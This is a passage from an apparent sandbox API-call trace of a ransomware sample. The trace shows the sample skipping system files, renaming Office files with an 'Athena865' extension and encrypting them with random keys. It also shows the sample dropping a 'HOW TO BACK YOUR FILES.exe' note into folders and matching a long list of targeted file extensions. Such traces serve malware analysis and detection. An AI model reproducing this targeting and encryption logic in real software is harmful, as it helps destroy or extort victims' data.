UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0146.562] CloseHandle (hObject=0x17c) returned 1 [0146.562] CloseHandle (hObject=0x154) returned 1 [0146.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.562] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.563] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x32ad2d00, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x32ad2d00, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x14760, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QRYINT32.DLL", cAlternateFileName="")) returned 1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2=".") returned 1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2="..") returned 1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2="windows") returned -1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2="bootmgr") returned 1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2="temp") returned -1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2="pagefile.sys") returned 1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2="boot") returned 1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2="ids.txt") returned 1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2="ntuser.dat") returned 1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2="perflogs") returned 1 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2="MSBuild") returned 1 [0146.563] lstrlenW (lpString="QRYINT32.DLL") returned 12 [0146.563] lstrcpyW (in: lpString1=0x241e8a8, lpString2="QRYINT32.DLL" | out: lpString1="QRYINT32.DLL") returned="QRYINT32.DLL" [0146.563] lstrlenW (lpString="QRYINT32.DLL") returned 12 [0146.563] lstrlenW (lpString="Athena865") returned 9 [0146.563] lstrcmpiW (lpString1="INT32.DLL", lpString2="Athena865") returned 1 [0146.563] lstrlenW (lpString=".dll") returned 4 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2=".dll") returned 1 [0146.563] lstrlenW (lpString=".lnk") returned 4 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2=".lnk") returned 1 [0146.563] lstrlenW (lpString=".ini") returned 4 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2=".ini") returned 1 [0146.563] lstrlenW (lpString=".sys") returned 4 [0146.563] lstrcmpiW (lpString1="QRYINT32.DLL", lpString2=".sys") returned 1 [0146.564] lstrlenW (lpString="QRYINT32.DLL") returned 12 [0146.564] lstrlenW (lpString="bak") returned 3 [0146.564] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL.Athena865") returned 70 [0146.564] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll.athena865"), dwFlags=0x1) returned 1 [0146.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QRYINT32.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\qryint32.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0146.566] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=83808) returned 1 [0146.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.566] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.566] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.567] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.567] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.567] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14a60, lpName=0x0) returned 0x17c [0146.569] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14a60) returned 0x100000 [0146.573] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.574] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.574] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.574] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.574] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.575] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.575] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.576] CloseHandle (hObject=0x17c) returned 1 [0146.576] CloseHandle (hObject=0x154) returned 1 [0146.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.576] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.576] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e5274d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e5274d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QuickStyles", cAlternateFileName="QUICKS~1")) returned 1 [0146.576] lstrcmpiW (lpString1="QuickStyles", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.576] lstrcmpiW (lpString1="QuickStyles", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.576] lstrcmpiW (lpString1="QuickStyles", lpString2=".") returned 1 [0146.577] lstrcmpiW (lpString1="QuickStyles", lpString2="..") returned 1 [0146.577] lstrcmpiW (lpString1="QuickStyles", lpString2="windows") returned -1 [0146.577] lstrcmpiW (lpString1="QuickStyles", lpString2="bootmgr") returned 1 [0146.577] lstrcmpiW (lpString1="QuickStyles", lpString2="temp") returned -1 [0146.577] lstrcmpiW (lpString1="QuickStyles", lpString2="pagefile.sys") returned 1 [0146.577] lstrcmpiW (lpString1="QuickStyles", lpString2="boot") returned 1 [0146.577] lstrcmpiW (lpString1="QuickStyles", lpString2="ids.txt") returned 1 [0146.577] lstrcmpiW (lpString1="QuickStyles", lpString2="ntuser.dat") returned 1 [0146.577] lstrcmpiW (lpString1="QuickStyles", lpString2="perflogs") returned 1 [0146.577] lstrcmpiW (lpString1="QuickStyles", lpString2="MSBuild") returned 1 [0146.577] lstrlenW (lpString="QuickStyles") returned 11 [0146.577] lstrcpyW (in: lpString1=0x241e8a8, lpString2="QuickStyles" | out: lpString1="QuickStyles") returned="QuickStyles" [0146.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x5522f0 [0146.577] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x78) returned 0x53c820 [0146.577] lstrcatW (in: lpString1="QuickStyles", lpString2="\\" | out: lpString1="QuickStyles\\") returned="QuickStyles\\" [0146.577] lstrcatW (in: lpString1="QuickStyles\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="QuickStyles\\HOW TO BACK YOUR FILES.exe") returned="QuickStyles\\HOW TO BACK YOUR FILES.exe" [0146.577] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\QuickStyles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\quickstyles\\how to back your files.exe"), bFailIfExists=1) returned 1 [0146.582] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xef0320d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x39aa, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2=".") returned 1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="..") returned 1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="windows") returned -1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="bootmgr") returned 1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="temp") returned -1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="pagefile.sys") returned 1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="boot") returned 1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="ids.txt") returned 1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="ntuser.dat") returned 1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="perflogs") returned 1 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2="MSBuild") returned 1 [0146.582] lstrlenW (lpString="ReviewRouting_Init.xsn") returned 22 [0146.582] lstrcpyW (in: lpString1=0x241e8a8, lpString2="ReviewRouting_Init.xsn" | out: lpString1="ReviewRouting_Init.xsn") returned="ReviewRouting_Init.xsn" [0146.582] lstrlenW (lpString="ReviewRouting_Init.xsn") returned 22 [0146.582] lstrlenW (lpString="Athena865") returned 9 [0146.582] lstrcmpiW (lpString1="_Init.xsn", lpString2="Athena865") returned -1 [0146.582] lstrlenW (lpString=".dll") returned 4 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2=".dll") returned 1 [0146.582] lstrlenW (lpString=".lnk") returned 4 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2=".lnk") returned 1 [0146.582] lstrlenW (lpString=".ini") returned 4 [0146.582] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2=".ini") returned 1 [0146.582] lstrlenW (lpString=".sys") returned 4 [0146.583] lstrcmpiW (lpString1="ReviewRouting_Init.xsn", lpString2=".sys") returned 1 [0146.583] lstrlenW (lpString="ReviewRouting_Init.xsn") returned 22 [0146.583] lstrlenW (lpString="bak") returned 3 [0146.583] lstrcmpiW (lpString1="xsn", lpString2="bak") returned 1 [0146.583] lstrlenW (lpString="ba_") returned 3 [0146.583] lstrcmpiW (lpString1="xsn", lpString2="ba_") returned 1 [0146.583] lstrlenW (lpString="dbb") returned 3 [0146.583] lstrcmpiW (lpString1="xsn", lpString2="dbb") returned 1 [0146.583] lstrlenW (lpString="vmdk") returned 4 [0146.583] lstrcmpiW (lpString1=".xsn", lpString2="vmdk") returned -1 [0146.583] lstrlenW (lpString="rar") returned 3 [0146.583] lstrcmpiW (lpString1="xsn", lpString2="rar") returned 1 [0146.583] lstrlenW (lpString="zip") returned 3 [0146.583] lstrcmpiW (lpString1="xsn", lpString2="zip") returned -1 [0146.583] lstrlenW (lpString="tgz") returned 3 [0146.583] lstrcmpiW (lpString1="xsn", lpString2="tgz") returned 1 [0146.583] lstrlenW (lpString="vbox") returned 4 [0146.583] lstrcmpiW (lpString1=".xsn", lpString2="vbox") returned -1 [0146.583] lstrlenW (lpString="vdi") returned 3 [0146.583] lstrcmpiW (lpString1="xsn", lpString2="vdi") returned 1 [0146.583] lstrlenW (lpString="vhd") returned 3 [0146.583] lstrcmpiW (lpString1="xsn", lpString2="vhd") returned 1 [0146.583] lstrlenW (lpString="vhdx") returned 4 [0146.583] lstrcmpiW (lpString1=".xsn", lpString2="vhdx") returned -1 [0146.583] lstrlenW (lpString="avhd") returned 4 [0146.583] lstrcmpiW (lpString1=".xsn", lpString2="avhd") returned -1 [0146.583] lstrlenW (lpString="db") returned 2 [0146.583] lstrcmpiW (lpString1="sn", lpString2="db") returned 1 [0146.583] lstrlenW (lpString="db2") returned 3 [0146.584] lstrcmpiW (lpString1="xsn", lpString2="db2") returned 1 [0146.584] lstrlenW (lpString="db3") returned 3 [0146.584] lstrcmpiW (lpString1="xsn", lpString2="db3") returned 1 [0146.584] lstrlenW (lpString="dbf") returned 3 [0146.584] lstrcmpiW (lpString1="xsn", lpString2="dbf") returned 1 [0146.584] lstrlenW (lpString="mdf") returned 3 [0146.584] lstrcmpiW (lpString1="xsn", lpString2="mdf") returned 1 [0146.584] lstrlenW (lpString="mdb") returned 3 [0146.584] lstrcmpiW (lpString1="xsn", lpString2="mdb") returned 1 [0146.584] lstrlenW (lpString="sql") returned 3 [0146.584] lstrcmpiW (lpString1="xsn", lpString2="sql") returned 1 [0146.584] lstrlenW (lpString="sqlite") returned 6 [0146.584] lstrcmpiW (lpString1="it.xsn", lpString2="sqlite") returned -1 [0146.584] lstrlenW (lpString="sqlite3") returned 7 [0146.584] lstrcmpiW (lpString1="nit.xsn", lpString2="sqlite3") returned -1 [0146.584] lstrlenW (lpString="sqlitedb") returned 8 [0146.584] lstrcmpiW (lpString1="Init.xsn", lpString2="sqlitedb") returned -1 [0146.584] lstrlenW (lpString="xml") returned 3 [0146.584] lstrcmpiW (lpString1="xsn", lpString2="xml") returned 1 [0146.584] lstrlenW (lpString="$er") returned 3 [0146.584] lstrcmpiW (lpString1="xsn", lpString2="$er") returned 1 [0146.584] lstrlenW (lpString="4dd") returned 3 [0146.584] lstrcmpiW (lpString1="xsn", lpString2="4dd") returned 1 [0146.584] lstrlenW (lpString="4dl") returned 3 [0146.584] lstrcmpiW (lpString1="xsn", lpString2="4dl") returned 1 [0146.584] lstrlenW (lpString="^^^") returned 3 [0146.584] lstrcmpiW (lpString1="xsn", lpString2="^^^") returned 1 [0146.584] lstrlenW (lpString="abs") returned 3 [0146.584] lstrcmpiW (lpString1="xsn", lpString2="abs") returned 1 [0146.584] lstrlenW (lpString="abx") returned 3 [0146.585] lstrcmpiW (lpString1="xsn", lpString2="abx") returned 1 [0146.585] lstrlenW (lpString="accdb") returned 5 [0146.585] lstrcmpiW (lpString1="t.xsn", lpString2="accdb") returned 1 [0146.585] lstrlenW (lpString="accdc") returned 5 [0146.585] lstrcmpiW (lpString1="t.xsn", lpString2="accdc") returned 1 [0146.585] lstrlenW (lpString="accde") returned 5 [0146.585] lstrcmpiW (lpString1="t.xsn", lpString2="accde") returned 1 [0146.585] lstrlenW (lpString="accdr") returned 5 [0146.585] lstrcmpiW (lpString1="t.xsn", lpString2="accdr") returned 1 [0146.585] lstrlenW (lpString="accdt") returned 5 [0146.585] lstrcmpiW (lpString1="t.xsn", lpString2="accdt") returned 1 [0146.585] lstrlenW (lpString="accdw") returned 5 [0146.585] lstrcmpiW (lpString1="t.xsn", lpString2="accdw") returned 1 [0146.585] lstrlenW (lpString="accft") returned 5 [0146.585] lstrcmpiW (lpString1="t.xsn", lpString2="accft") returned 1 [0146.585] lstrlenW (lpString="adb") returned 3 [0146.585] lstrcmpiW (lpString1="xsn", lpString2="adb") returned 1 [0146.585] lstrlenW (lpString="adb") returned 3 [0146.585] lstrcmpiW (lpString1="xsn", lpString2="adb") returned 1 [0146.585] lstrlenW (lpString="ade") returned 3 [0146.585] lstrcmpiW (lpString1="xsn", lpString2="ade") returned 1 [0146.585] lstrlenW (lpString="adf") returned 3 [0146.585] lstrcmpiW (lpString1="xsn", lpString2="adf") returned 1 [0146.585] lstrlenW (lpString="adn") returned 3 [0146.585] lstrcmpiW (lpString1="xsn", lpString2="adn") returned 1 [0146.585] lstrlenW (lpString="adp") returned 3 [0146.585] lstrcmpiW (lpString1="xsn", lpString2="adp") returned 1 [0146.585] lstrlenW (lpString="alf") returned 3 [0146.585] lstrcmpiW (lpString1="xsn", lpString2="alf") returned 1 [0146.585] lstrlenW (lpString="ask") returned 3 [0146.586] lstrcmpiW (lpString1="xsn", lpString2="ask") returned 1 [0146.586] lstrlenW (lpString="btr") returned 3 [0146.586] lstrcmpiW (lpString1="xsn", lpString2="btr") returned 1 [0146.586] lstrlenW (lpString="cat") returned 3 [0146.586] lstrcmpiW (lpString1="xsn", lpString2="cat") returned 1 [0146.586] lstrlenW (lpString="cdb") returned 3 [0146.586] lstrcmpiW (lpString1="xsn", lpString2="cdb") returned 1 [0146.586] lstrlenW (lpString="ckp") returned 3 [0146.586] lstrcmpiW (lpString1="xsn", lpString2="ckp") returned 1 [0146.586] lstrlenW (lpString="cma") returned 3 [0146.586] lstrcmpiW (lpString1="xsn", lpString2="cma") returned 1 [0146.586] lstrlenW (lpString="cpd") returned 3 [0146.586] lstrcmpiW (lpString1="xsn", lpString2="cpd") returned 1 [0146.586] lstrlenW (lpString="dacpac") returned 6 [0146.586] lstrcmpiW (lpString1="it.xsn", lpString2="dacpac") returned 1 [0146.586] lstrlenW (lpString="dad") returned 3 [0146.586] lstrcmpiW (lpString1="xsn", lpString2="dad") returned 1 [0146.586] lstrlenW (lpString="dadiagrams") returned 10 [0146.586] lstrcmpiW (lpString1="g_Init.xsn", lpString2="dadiagrams") returned 1 [0146.586] lstrlenW (lpString="daschema") returned 8 [0146.586] lstrcmpiW (lpString1="Init.xsn", lpString2="daschema") returned 1 [0146.586] lstrlenW (lpString="db-journal") returned 10 [0146.586] lstrcmpiW (lpString1="g_Init.xsn", lpString2="db-journal") returned 1 [0146.586] lstrlenW (lpString="db-shm") returned 6 [0146.586] lstrcmpiW (lpString1="it.xsn", lpString2="db-shm") returned 1 [0146.586] lstrlenW (lpString="db-wal") returned 6 [0146.586] lstrcmpiW (lpString1="it.xsn", lpString2="db-wal") returned 1 [0146.586] lstrlenW (lpString="dbc") returned 3 [0146.586] lstrcmpiW (lpString1="xsn", lpString2="dbc") returned 1 [0146.586] lstrlenW (lpString="dbs") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="dbs") returned 1 [0146.587] lstrlenW (lpString="dbt") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="dbt") returned 1 [0146.587] lstrlenW (lpString="dbv") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="dbv") returned 1 [0146.587] lstrlenW (lpString="dbx") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="dbx") returned 1 [0146.587] lstrlenW (lpString="dcb") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="dcb") returned 1 [0146.587] lstrlenW (lpString="dct") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="dct") returned 1 [0146.587] lstrlenW (lpString="dcx") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="dcx") returned 1 [0146.587] lstrlenW (lpString="ddl") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="ddl") returned 1 [0146.587] lstrlenW (lpString="dlis") returned 4 [0146.587] lstrcmpiW (lpString1=".xsn", lpString2="dlis") returned -1 [0146.587] lstrlenW (lpString="dp1") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="dp1") returned 1 [0146.587] lstrlenW (lpString="dqy") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="dqy") returned 1 [0146.587] lstrlenW (lpString="dsk") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="dsk") returned 1 [0146.587] lstrlenW (lpString="dsn") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="dsn") returned 1 [0146.587] lstrlenW (lpString="dtsx") returned 4 [0146.587] lstrcmpiW (lpString1=".xsn", lpString2="dtsx") returned -1 [0146.587] lstrlenW (lpString="dxl") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="dxl") returned 1 [0146.587] lstrlenW (lpString="eco") returned 3 [0146.587] lstrcmpiW (lpString1="xsn", lpString2="eco") returned 1 [0146.588] lstrlenW (lpString="ecx") returned 3 [0146.588] lstrcmpiW (lpString1="xsn", lpString2="ecx") returned 1 [0146.588] lstrlenW (lpString="edb") returned 3 [0146.588] lstrcmpiW (lpString1="xsn", lpString2="edb") returned 1 [0146.588] lstrlenW (lpString="epim") returned 4 [0146.588] lstrcmpiW (lpString1=".xsn", lpString2="epim") returned -1 [0146.588] lstrlenW (lpString="fcd") returned 3 [0146.588] lstrcmpiW (lpString1="xsn", lpString2="fcd") returned 1 [0146.588] lstrlenW (lpString="fdb") returned 3 [0146.588] lstrcmpiW (lpString1="xsn", lpString2="fdb") returned 1 [0146.588] lstrlenW (lpString="fic") returned 3 [0146.588] lstrcmpiW (lpString1="xsn", lpString2="fic") returned 1 [0146.588] lstrlenW (lpString="flexolibrary") returned 12 [0146.588] lstrcmpiW (lpString1="ing_Init.xsn", lpString2="flexolibrary") returned 1 [0146.588] lstrlenW (lpString="fm5") returned 3 [0146.588] lstrcmpiW (lpString1="xsn", lpString2="fm5") returned 1 [0146.588] lstrlenW (lpString="fmp") returned 3 [0146.588] lstrcmpiW (lpString1="xsn", lpString2="fmp") returned 1 [0146.588] lstrlenW (lpString="fmp12") returned 5 [0146.588] lstrcmpiW (lpString1="t.xsn", lpString2="fmp12") returned 1 [0146.588] lstrlenW (lpString="fmpsl") returned 5 [0146.588] lstrcmpiW (lpString1="t.xsn", lpString2="fmpsl") returned 1 [0146.588] lstrlenW (lpString="fol") returned 3 [0146.588] lstrcmpiW (lpString1="xsn", lpString2="fol") returned 1 [0146.588] lstrlenW (lpString="fp3") returned 3 [0146.588] lstrcmpiW (lpString1="xsn", lpString2="fp3") returned 1 [0146.588] lstrlenW (lpString="fp4") returned 3 [0146.588] lstrcmpiW (lpString1="xsn", lpString2="fp4") returned 1 [0146.588] lstrlenW (lpString="fp5") returned 3 [0146.588] lstrcmpiW (lpString1="xsn", lpString2="fp5") returned 1 [0146.589] lstrlenW (lpString="fp7") returned 3 [0146.589] lstrcmpiW (lpString1="xsn", lpString2="fp7") returned 1 [0146.589] lstrlenW (lpString="fpt") returned 3 [0146.589] lstrcmpiW (lpString1="xsn", lpString2="fpt") returned 1 [0146.589] lstrlenW (lpString="frm") returned 3 [0146.589] lstrcmpiW (lpString1="xsn", lpString2="frm") returned 1 [0146.589] lstrlenW (lpString="gdb") returned 3 [0146.589] lstrcmpiW (lpString1="xsn", lpString2="gdb") returned 1 [0146.589] lstrlenW (lpString="gdb") returned 3 [0146.589] lstrcmpiW (lpString1="xsn", lpString2="gdb") returned 1 [0146.589] lstrlenW (lpString="grdb") returned 4 [0146.589] lstrcmpiW (lpString1=".xsn", lpString2="grdb") returned -1 [0146.589] lstrlenW (lpString="gwi") returned 3 [0146.589] lstrcmpiW (lpString1="xsn", lpString2="gwi") returned 1 [0146.589] lstrlenW (lpString="hdb") returned 3 [0146.589] lstrcmpiW (lpString1="xsn", lpString2="hdb") returned 1 [0146.589] lstrlenW (lpString="his") returned 3 [0146.589] lstrcmpiW (lpString1="xsn", lpString2="his") returned 1 [0146.589] lstrlenW (lpString="ib") returned 2 [0146.589] lstrcmpiW (lpString1="sn", lpString2="ib") returned 1 [0146.589] lstrlenW (lpString="idb") returned 3 [0146.589] lstrcmpiW (lpString1="xsn", lpString2="idb") returned 1 [0146.589] lstrlenW (lpString="ihx") returned 3 [0146.589] lstrcmpiW (lpString1="xsn", lpString2="ihx") returned 1 [0146.589] lstrlenW (lpString="itdb") returned 4 [0146.589] lstrcmpiW (lpString1=".xsn", lpString2="itdb") returned -1 [0146.589] lstrlenW (lpString="itw") returned 3 [0146.589] lstrcmpiW (lpString1="xsn", lpString2="itw") returned 1 [0146.589] lstrlenW (lpString="jet") returned 3 [0146.589] lstrcmpiW (lpString1="xsn", lpString2="jet") returned 1 [0146.590] lstrlenW (lpString="jtx") returned 3 [0146.590] lstrcmpiW (lpString1="xsn", lpString2="jtx") returned 1 [0146.590] lstrlenW (lpString="kdb") returned 3 [0146.590] lstrcmpiW (lpString1="xsn", lpString2="kdb") returned 1 [0146.590] lstrlenW (lpString="kexi") returned 4 [0146.590] lstrcmpiW (lpString1=".xsn", lpString2="kexi") returned -1 [0146.590] lstrlenW (lpString="kexic") returned 5 [0146.590] lstrcmpiW (lpString1="t.xsn", lpString2="kexic") returned 1 [0146.590] lstrlenW (lpString="kexis") returned 5 [0146.590] lstrcmpiW (lpString1="t.xsn", lpString2="kexis") returned 1 [0146.590] lstrlenW (lpString="lgc") returned 3 [0146.590] lstrcmpiW (lpString1="xsn", lpString2="lgc") returned 1 [0146.590] lstrlenW (lpString="lwx") returned 3 [0146.590] lstrcmpiW (lpString1="xsn", lpString2="lwx") returned 1 [0146.590] lstrlenW (lpString="maf") returned 3 [0146.590] lstrcmpiW (lpString1="xsn", lpString2="maf") returned 1 [0146.590] lstrlenW (lpString="maq") returned 3 [0146.590] lstrcmpiW (lpString1="xsn", lpString2="maq") returned 1 [0146.590] lstrlenW (lpString="mar") returned 3 [0146.590] lstrcmpiW (lpString1="xsn", lpString2="mar") returned 1 [0146.590] lstrlenW (lpString="marshal") returned 7 [0146.590] lstrcmpiW (lpString1="nit.xsn", lpString2="marshal") returned 1 [0146.590] lstrlenW (lpString="mas") returned 3 [0146.590] lstrcmpiW (lpString1="xsn", lpString2="mas") returned 1 [0146.590] lstrlenW (lpString="mav") returned 3 [0146.590] lstrcmpiW (lpString1="xsn", lpString2="mav") returned 1 [0146.590] lstrlenW (lpString="maw") returned 3 [0146.590] lstrcmpiW (lpString1="xsn", lpString2="maw") returned 1 [0146.590] lstrlenW (lpString="mdbhtml") returned 7 [0146.590] lstrcmpiW (lpString1="nit.xsn", lpString2="mdbhtml") returned 1 [0146.591] lstrlenW (lpString="mdn") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="mdn") returned 1 [0146.591] lstrlenW (lpString="mdt") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="mdt") returned 1 [0146.591] lstrlenW (lpString="mfd") returned 3 [0146.591] lstrcmpiW (lpString1="xsn", lpString2="mfd") returned 1 [0146.591] lstrlenW (lpString="mpd") returned 3 [0146.591] 